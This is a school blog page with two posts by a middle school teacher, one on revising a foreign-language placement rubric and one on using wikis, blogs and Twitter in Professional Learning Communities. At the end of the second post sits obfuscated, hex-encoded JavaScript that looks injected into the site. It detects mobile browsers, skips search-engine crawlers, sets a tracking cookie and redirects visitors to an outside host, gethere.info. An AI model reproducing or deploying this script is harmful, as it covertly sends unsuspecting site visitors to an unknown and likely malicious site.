Fort Herriman Middle School


Collaboration Does Work
May 7, 2008, 8:45 am
Filed under: collaboration, leadership, learning

I have mentioned that I am impressed with my school this year. I enjoy being in a place where most teachers respect and have concern for others. This year we filled out a rubric to see if kids qualify for Foreign Language in 8th grade. My big problem with the rubric is that it tends to put all the good kids in Foreign Language and all the bad kids in Reading. That is not a good combination. I raised a question about it, and although those who I asked seemed to say, “Well, we know more about the situation than you, so stop making waves” they were supportive after I persisted in expressing my concerns. It led to some quick changes to the rubric, and they were able to change things to be better. I suggested we have an application for the students to fill out that would help them decide if Foreign Languages were right for them. This is what it looks like. I am glad that these teachers and counselors are willing to work together to come up with something that is hopefully better.

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PLCs and Technology
January 4, 2008, 9:39 am
Filed under: collaboration, plcs, technology

One thing that I have been having a hard time with is integrating technology into teaching and having a PLC. I found two blogs that have mentioned integrating the two (I admit, I haven’t looked too hard). Doug Johnson at the Blue Skunk Blog posted about it last May, before I started reading the blog. He was kind enough to let me know about it today. The other one is L. Gaffney’s personal blog. I think Gaffney is in the same position that I am. My problem is that in my graduate school courses, they talk ad nauseam about Professional Learning Communities, but never about using technology. In all our school meetings, we talk about PLCs, but never about using technology. All the people in my education/tech network (blogs I read, Twitter network, Facebook, etc.) never mention PLCs. It seems that there are two forces pushing through the education world that I am exposed to and they are not together or linked. This really bugs me, because I really like both the ideas. I think that collaboration (a major component of PLCs) is extremely important. When I was in college, I was the academic activities adviser, and my sole purpose was to get academic classes and colleges to collaborate with other people. I think one of the best and most efficient (and sometimes most effective) ways to collaborate is by using technology. Technology here can be defined as email, instant messaging, blogging, wikis, using Facebook, Twitter, YouTube, or any other number of things that would help us collaborate.

So, Jethro, what are you going to do about it?

Great question, I am glad you asked. Doug Johnson’s blog post made some great suggestions for how to integrate technology into PLCs. The only problem, though, is that I think he went too big for what I think teachers would go for. This is what I want to do. I want my team that I collaborate with to use technology. I want to be able to access the worksheets, handouts, and everything else we use on the web. I think this is important, because if I can access it on the web, my students have an opportunity to as well. I already try to do this on my own here. I want all my students to be able to do the assignments when they are absent, and I want my students’ parents to know what is going on and be able to take their part in helping their children succeed. With my team, I want us to be able to meet without “meeting”.

My Goals for My Team:

  • I want us to be able to update each other on the fly with how a certain concept was received with a certain teaching style or approach.
  • I want us to be able to work collaboratively on documents (worksheets, common assessments, lesson plans, etc.) in close to real-time without having to set up a meeting time after school.
  • I want us to be able to have a place to store data so that we can access whenever we need it.

Doing a wiki would make it so we could do more than just our one-hour weekly meeting. Finding other resources on the web would allow us to be more innovative and resourceful. Blogging about our experiences would help us know what others are doing that could help our students learn better. Using Twitter with other English teachers could help us find more ways to teach what we need to teach. Using YouTube would help us record instructions for class assignments so that students could watch us explain what to do. There are many more possibilities. As Doug pointed out (or someone on his blog pointed out), the point is to use technology as a means to accomplish a goal, and not as the goal. We want our students to learn, let’s do everything we can to make that happen.

So, what am I going to do? I am going to make a wiki for my 7th grade team and then invite my team members to add to it. As of right now, they are both against the web stuff, but I will work on them. Wish me luck.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}